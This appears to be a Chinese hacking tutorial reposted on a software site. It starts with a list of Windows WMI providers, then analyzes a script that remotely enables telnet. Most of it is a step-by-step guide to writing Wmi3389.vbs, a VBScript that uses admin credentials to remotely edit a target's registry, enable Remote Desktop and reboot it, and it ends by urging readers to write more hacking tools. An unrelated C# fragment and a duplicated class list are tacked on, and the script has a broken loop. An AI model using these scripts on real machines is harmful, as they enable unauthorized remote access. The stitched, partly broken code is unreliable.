WMI 程序清單 WMI 提供程序清單
發(fā)表時間:2023-09-13 來源:明輝站整理相關軟件相關文章人氣:
[摘要]WMI 程序清單 WMI 提供程序清單 表 1:部分標準的 WMI 提供程序清單提供程序DLL命名空間說明Active Directory 提供程序dsprov.dllroot\directory\ldap將 Active Directory 對象映射到 WMI。事件日志提供程序ntevt.dll...
WMI 程序清單 WMI 提供程序清單
表 1:部分標準的 WMI 提供程序清單
|
提供程序
|
DLL
|
命名空間
|
說明
|
Active Directory 提供程序
|
dsprov.dll
|
root\directory\ldap
|
將 Active Directory 對象映射到 WMI。
|
事件日志提供程序
|
ntevt.dll
|
root\cimv2
|
管理 Windows 事件日志,例如,讀取、備份、清除、復制、刪除、監(jiān)視、重命名、壓縮、解壓縮和更改事件日志設置。
|
性能計數(shù)器提供程序
|
wbemperf.dll
|
root\cimv2
|
提供對原始性能數(shù)據(jù)的訪問。
|
注冊表提供程序
|
stdprov.dll
|
root\default
|
讀取、寫入、枚舉、監(jiān)視、創(chuàng)建、刪除注冊表項和值。
|
SNMP 提供程序
|
snmpincl.dll
|
root\snmp
|
提供對 SNMP MIB 數(shù)據(jù)的訪問,并從 SNMP 托管設備捕獲。
|
WDM 提供程序
|
wmiprov.dll
|
root\wmi
|
提供對 WDM 設備驅動程序中信息的訪問。
|
Win32 提供程序
|
cimwin32.dll
|
root\cimv2
|
提供關于計算機、磁盤、外圍設備、文件、文件夾、文件系統(tǒng)、網(wǎng)絡組件、操作系統(tǒng)、打印機、進程、安全性、服務、共享、SAM 用戶及組,以及更多資源的信息。
|
Windows 安裝程序提供程序
|
msiprov.dll
|
root\cimv2
|
提供對已安裝軟件信息的訪問。
|
一:WMI基礎知識
====================================================================================
WMI 最初于1998年作為一個附加組件與 Windows NT 4.0 Service Pack 4 一起發(fā)行,是內(nèi)置在Windows 2000、 Windows XP和Windows Server 2003 系列操作系統(tǒng)中核心的管理支持技術。基于由 Distributed Management Task Force (DMTF) 所監(jiān)督的業(yè)界標準,WMI是一種規(guī)范和基礎結構,通過它可以訪問、配置、管理和監(jiān)視幾乎所有的Windows資源。大多用戶習慣于使用眾多的圖形化管理工具來管理Windows資源,在WMI之前這些工具都是通過 Win32應用程序編程接口(Application ProgrammingInterfaces,API)來訪問和管理Windows資源的。只要你熟悉系統(tǒng)編程你就知道API有多么重要。但是大多數(shù)腳本語言都不能直接調用Win32 API,WMI的出現(xiàn)使得系統(tǒng)管理員可以通過一種簡便的方法即利用常見的腳本語言實現(xiàn)常用的系統(tǒng)管理任務。
利用WMI需要和腳本如WSH和VBScript結合起來,可以實現(xiàn)的功能大家可以看微軟的MSDN文檔。
在編寫我們自己的腳本之前,我們需要對WMI的體系結構有個基本的了解。如圖一:(1.gif)
在WMI 體系結構中我們最需要關心的就是WMI提供程序,WMI提供程序在WMI和托管資源之間扮演著中間方的角色。提供程序代表使用者應用程序和腳本從WMI托管資源請求信息,并發(fā)送指令到WMI托管資源。下面是我們利用WMI編程經(jīng)常要用到的WMI內(nèi)置提供程序清單,以供編程參考。
1.Active Directory提供程序
鏈接庫文件:dsprov.dll
命名空間:root\directory\ldap
作用:將Active Directory 對象映射到 WMI。
2.事件日志提供程序
鏈接庫文件:ntevt.dll
命名空間:root\cimv2
作用:管理 Windows 事件日志,例如,讀取、備份、清除、復制、刪除、監(jiān)視、重命名、壓縮、解壓縮和更改事件日志設置。
3.注冊表提供程序
鏈接庫文件:stdprov.dll
命名空間:root\default
作用:讀取、寫入、枚舉、監(jiān)視、創(chuàng)建、刪除注冊表項和值。
4.Win32 提供程序
鏈接庫文件:cimwin32.dll
命名空間:root\cimv2
作用:提供關于計算機、磁盤、外圍設備、文件、文件夾、文件系統(tǒng)、網(wǎng)絡組件、操作系統(tǒng)、打印機、進程、安全性、服務、共享、SAM 用戶及組,以及更多資源的信息。
5.Windows 安裝程序提供程序
鏈接庫文件:msiprov.dll
命名空間:root\cimv2
作用:提供對已安裝軟件信息的訪問。
從上面可以看出在WMI中類(即內(nèi)置提供程序)被分組到命名空間中,命名空間可以看成是一個組。比如,命名空間 root\cimv2 包括大部分表示通常與計算機和操作系統(tǒng)相關聯(lián)的資源的類。在使用類的時候要說明類所在的命名空間。類由屬性和方法構成。這是可視化編程中的兩個重要的概念。屬性描述的是對象的狀態(tài),方法是對象可以執(zhí)行的操作。
理論知識學起來很枯燥,下面讓我們邊分析高手的腳本源碼邊進行理論知識的鞏固吧。
二:解析RTCS.VBS主要代碼
=====================================================================================
有時候閱讀別人的源碼未嘗不是一個好而且快捷的辦法,下面就讓我們來認真學習zzzEVAzzz編寫的一個可以遠程開啟telnet服務的腳本RTCS.VBS。
該腳本可以直接訪問目標的WMI,不依賴于目標的ipc$,實現(xiàn)遠程開啟/關閉目標telnet服務,為了方便大家學習我抽出了最主要的代碼,具體分析如下:
set objlocator=createobject("wbemscripting.swbemlocator")
//創(chuàng)建WbemScripting.SwbemLocator對象(腳本接口)。
//可以看出WMI其實就是把Com組件WbemScripting.SWbemLocator封裝起來罷了。
set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)
//通過ConnectServer函數(shù)請求連接到WMI控件服務上,root/default為命名空間。
set objinstance=objswbemservices.get("stdregprov")
//建立訪問注冊表的實例。
set objmethod=objinstance.methods_("SetDWORDvalue")
//建立可以更改注冊表鍵值的方法。
set objinparam=objmethod.inparameters.spawninstance_()
//MethodData.InParameters用于獲取或設置方法的輸入?yún)?shù)。這里用spawninstance方法為它建立一個子實例,下面就可以將參數(shù)值賦予這個對象的屬性。
objinparam.hdefkey=&h80000002
//hdefkey表示根鍵,根鍵的十六制值如下:
//HKEY_CLASSES_ROOT (&H80000000)
//HKEY_CURRENT_USER (&H80000001)
//HKEY_LOCAL_MACHINE (&H80000002)
//HKEY_USERS (&H80000003)
//HKEY_CURRENT_CONFIG (&H80000005)
objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"
//ssubkeyname表示子鍵。
objinparam.svaluename="NTLM"
//svaluename表示屬性名。
objinparam.uvalue=ntlm
//uvalue表示鍵值。
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
//利用execmethod執(zhí)行方法,這里才真正改寫了注冊表。
//下面是修改telnet服務的TelnetPort值,原理同上。
objinparam.svaluename="TelnetPort"
objinparam.uvalue=port
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
修改telnet的注冊表部分就完成了,將NTLM和TelnetPort進行了修改,要是對方的telnet服務沒有開啟呢?下面就需要根據(jù)telnet的具體情況,來啟動telnet服務,繼續(xù)看代碼。
//首先查詢遠程主機上tlntsvr的啟動方式。
set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)
//win32_service類在root\cimv2命名空間中,作用沒忘記吧?快看基礎知識呵。
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")
//注意:查詢都是通過枚舉來實現(xiàn)的。
for each objinstance in colinstances
if objinstance.startmode="Disabled" then
set objmethod=objinstance.methods_("changestartmode")
//創(chuàng)建changestartmode方法來改變tlntsvr的啟動方式。
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.startmode="Manual"
//將啟動方式改為手動方式。
set objoutparam=objinstance.execmethod_("changestartmode",objinparam)
end if
//下面啟動我們的telnet服務。這里zzzEVAzzz的思路好象有點不對,也不知道是不是他的疏忽,我個人認為當telnet服務已經(jīng)啟動時不應該用stopservice方法停止服務。
if objinstance.started=true then
intstatus=objinstance.stopservice()
//stopservice是WMI中用于停止服務實例的服務的方法。
else
intstatus=objinstance.startservice()
end if
next
三:手把手教你編寫WMI版本的ROTS.vbs來開啟3389
=====================================================================================
zzzVEAzzz 的腳本就分析到這里吧,怎么樣?很EASY吧?!我相信大家現(xiàn)在一定蠢蠢欲動了?:)好,一起來寫一個什么程序呢?ROTS.vbs我想大家一定都用過吧?什么東東��?我……砸!大家應該知道這個ROTS是有它的使用條件的,不僅要有管理員帳號,還要允許進行ipc連接,在這個到處都是墻的年代,ipc 早就不實用了,而且ROTS.vbs早就被查殺了,那該怎么辦?當然是自己動手了。能不能實現(xiàn)ROTS的一樣的遠程開啟3389的功能而不受ipc的限制呢?答案自從我寫了這篇文章后成為肯定的,哈哈,吹吹了。
當然我們也是要求系統(tǒng)至少是2000server及以上的,最近看到有個軟件可以給2000pro開3389,由于比較忙,也沒怎么去理它,這里我們暫且不說它,知道了原理一樣好辦。
開啟3389有個注冊表導入的方法,其它一些軟件的開法,我想也大多是通過修改注冊表實現(xiàn)的。這個方法需要導入如下的注冊表:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
"Enabled"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShutdownWithoutLogon"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"TSEnabled"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
"Start"=dword:00000002
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
"Hotkey"="1"
原理知道了就沒什么難的了,先理清我們的思路,我們的主要任務是更改注冊表里的鍵值。首先是創(chuàng)建WMI對象,然后是連接到遠程WMI服務器,最后修改注冊表鍵值。
部分主要代碼如下(完整的代碼和詳細的注釋請看附帶的軟件包)
on error resume next
//防止出現(xiàn)意外。
set outstreem=wscript.stdout
if (lcase(right(wscript.fullname,11))="wscript.exe") then
set objShell=wscript.createObject("wscript.shell")
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
//cmd后帶/K參數(shù)表示執(zhí)行字符串指定的命令。
wscript.quit
end if
//進行簡單的檢查。
if wscript.arguments.count<3 then
usage()
wscript.echo "Not enough parameters."
wscript.quit
end if
//取出參數(shù),分別賦予幾個變量。
ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
option=wscript.arguments(3)
usage()
下面是核心代碼,也是實現(xiàn)遠程修改注冊表的功能,我這里給出另外一種實現(xiàn)的方式,對照前面的代碼很容易理解,我就只作簡單的解釋了。詳細情況可以參閱MSDN文檔中關于StdRegProv類的說明。
(http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wmisdk/wmi/stdregprov.asp)
const HKEY_LOCAL_MACHINE = &H80000002
const HKEY_USERS=&H80000003
strComputer = ipaddress
//獲取wmi對象
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
strValueName = "Enabled"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
strValueName = "ShutdownWithoutLogon"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SOFTWARE\Policies\Microsoft\Windows\Installer"
strValueName = "EnableAdminTSRemote"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "TSEnabled"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SYSTEM\CurrentControlSet\Services\TermDD"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SYSTEM\CurrentControlSet\Services\TermService"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = ".DEFAULT\Keyboard Layout\Toggle"
strValueName = "Hotkey"
strValue=1
oReg.SetDWORDValue HKEY_USERS,strKeyPath,strValueName,strValue
//下面實現(xiàn)重啟遠程機器
if option="/r" then
outstreem.write "Now, rebooting target...."
strwmiquery="select * from win32_operatingsystem where primary='true'"
set colinstances=objswbemservices.execquery(strwmiquery)
for each objinstance in colinstances
objinstance.win32shutdown(2)
end if
outstreem.write "Ok, rebooted the target."
//簡單的用法說明的函數(shù)。
function usage()
wscript.echo string(60,"=")
wscript.echo "Wmi3389 v1.0.0"
wscript.echo "No ipc Open 3389, code written by pye."
wscript.echo "Welcome to visite www.coon.cn or Mail to [email protected]"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [/r]"
wscript.echo "/r reboot the target this is optional"
wscript.echo "It use WMI to Open 3389 of target server."
wscript.echo string(60,"=")&vbcrlf
end function
將上面的代碼復制帶記事本里,保存為Wmi3389.vbs。然后在CMD里執(zhí)行:
cscript Wmi3389.vbs ipaddress administrator password [/r]
看看是不是和ROTS.vbs有一樣的效果��?大家趕快實踐實踐吧。
四:最后的嘮叨
=====================================================================================
大家可以看出WMI的功能是很強大的,這里要感謝MicroSoft了,它是永遠都不會讓我們失望的。WMI對象允許通過VB,VBA,WSH, VBScript, JScript,ASP,或是支持自動對象的其它環(huán)境,對WMI進行完全訪問。在參考查詢體系中加入 WMI Scripting V1.1 Library ,則Visual Basic或是VBA方案就可以訪問這些對象了。支持ActiveX程序的操作平臺可以通過對象類的代號,或是類的名稱創(chuàng)建這些對象,這些對象的前綴是WbemScripting,如 WbemScripting.SwbemLocator。所以大家有興趣的完全可以利用VB,WSH,VBScript, JScript,ASP等編寫更多的利用WMI的黑客程序。
----------------------------------------------------
最后給你附上一段程序
/* **********************************************
* Rainsoft Development Library for Microsoft.NET
*
* Copyright (c) 2004,2005 RainTrail Studio.China
* All Rigths Reserved!
* Author: Q.yuhen ([email protected])
********************************************** */
using System;
using System.Management;
using System.Collections;
using System.Collections.Specialized;
using System.Text;
namespace Rainsoft.Management
{
#region WMIPath
public enum WMIPath
{
// 硬件
Win32_Processor, // CPU 處理器
Win32_PhysicalMemory, // 物理內(nèi)存條
Win32_Keyboard, // 鍵盤
Win32_PointingDevice, // 點輸入設備,包括鼠標。
Win32_FloppyDrive, // 軟盤驅動器
Win32_DiskDrive, // 硬盤驅動器
Win32_CDROMDrive, // 光盤驅動器
Win32_BaseBoard, // 主板
Win32_BIOS, // BIOS 芯片
Win32_ParallelPort, // 并口
Win32_SerialPort, // 串口
Win32_SerialPortConfiguration, // 串口配置
Win32_SoundDevice, // 多媒體設置,一般指聲卡。
Win32_SystemSlot, // 主板插槽 (ISA & PCI & AGP)
Win32_USBController, // USB 控制器
Win32_NetworkAdapter, // 網(wǎng)絡適配器
Win32_NetworkAdapterConfiguration, // 網(wǎng)絡適配器設置
Win32_Printer, // 打印機
Win32_PrinterConfiguration, // 打印機設置
Win32_PrintJob, // 打印機任務
Win32_TCPIPPrinterPort, // 打印機端口
Win32_POTSModem, // MODEM
Win32_POTSModemToSerialPort, // MODEM 端口
Win32_DesktopMonitor, // 顯示器
Win32_DisplayConfiguration, // 顯卡
Win32_DisplayControllerConfiguration, // 顯卡設置
Win32_VideoController, // 顯卡細節(jié)。
Win32_VideoSettings, // 顯卡支持的顯示模式。
// 操作系統(tǒng)
Win32_TimeZone, // 時區(qū)
Win32_SystemDriver, // 驅動程序
Win32_DiskPartition, // 磁盤分區(qū)
Win32_LogicalDisk, // 邏輯磁盤
Win32_LogicalDiskToPartition, // 邏輯磁盤所在分區(qū)及始末位置。
Win32_LogicalMemoryConfiguration, // 邏輯內(nèi)存配置
Win32_PageFile, // 系統(tǒng)頁文件信息
Win32_PageFileSetting, // 頁文件設置
Win32_BootConfiguration, // 系統(tǒng)啟動配置
Win32_ComputerSystem, // 計算機信息簡要
Win32_OperatingSystem, // 操作系統(tǒng)信息
Win32_StartupCommand, // 系統(tǒng)自動啟動程序
Win32_Service, // 系統(tǒng)安裝的服務
Win32_Group, // 系統(tǒng)管理組
Win32_GroupUser, // 系統(tǒng)組帳號
Win32_UserAccount, // 用戶帳號
Win32_Process, // 系統(tǒng)進程
Win32_Thread, // 系統(tǒng)線程
Win32_Share, // 共享
Win32_NetworkClient, // 已安裝的網(wǎng)絡客戶端
Win32_NetworkProtocol, // 已安裝的網(wǎng)絡協(xié)議
}
Win32_Processor // CPU 處理器
Win32_PhysicalMemory // 物理內(nèi)存
Win32_Keyboard // 鍵盤
Win32_PointingDevice // 點輸入設備,如鼠標
Win32_DiskDrive // 硬盤驅動器
Win32_CDROMDrive // 光盤驅動器
Win32_BaseBoard // 主板
Win32_BIOS // BIOS 芯片
Win32_ParallelPort // 并口
Win32_SerialPort // 串口
Win32_SoundDevice // 多媒體設置
Win32_USBController // USB 控制器
Win32_NetworkAdapter // 網(wǎng)絡適配器
Win32_NetworkAdapterConfiguration // 網(wǎng)絡適配器設置
Win32_Printer // 打印機
Win32_PrinterConfiguration // 打印機設置
Win32_PrintJob // 打印機任務
Win32_TCPIPPrinterPort // 打印機端口
Win32_POTSModem // MODEM
Win32_POTSModemToSerialPort // MODEM 端口
Win32_DesktopMonitor // 顯示器
Win32_VideoController // 顯卡細節(jié)。
Win32_VideoSettings // 顯卡支持的顯示模式。
Win32_TimeZone // 時區(qū)
Win32_SystemDriver // 驅動程序
Win32_DiskPartition // 磁盤分區(qū)
Win32_LogicalDisk // 邏輯磁盤
Win32_LogicalMemoryConfiguration // 邏輯內(nèi)存配置
Win32_PageFile // 系統(tǒng)頁文件信息
Win32_PageFileSetting // 頁文件設置
Win32_BootConfiguration // 系統(tǒng)啟動配置
Win32_OperatingSystem // 操作系統(tǒng)信息
Win32_StartupCommand // 系統(tǒng)自動啟動程序
Win32_Service // 系統(tǒng)安裝的服務
Win32_Group // 系統(tǒng)管理組
Win32_GroupUser // 系統(tǒng)組帳號
Win32_UserAccount // 用戶帳號
Win32_Process // 系統(tǒng)進程
Win32_Thread // 系統(tǒng)線程
Win32_Share // 共享
Win32_NetworkClient // 已安裝的網(wǎng)絡客戶端
Win32_NetworkProtocol // 已安裝的網(wǎng)絡協(xié)議
常見的網(wǎng)絡操作系統(tǒng)有UNIX、Netware、Windows NT、Linux等,網(wǎng)絡軟件的漏洞及缺陷被利用,使網(wǎng)絡遭到入侵和破壞。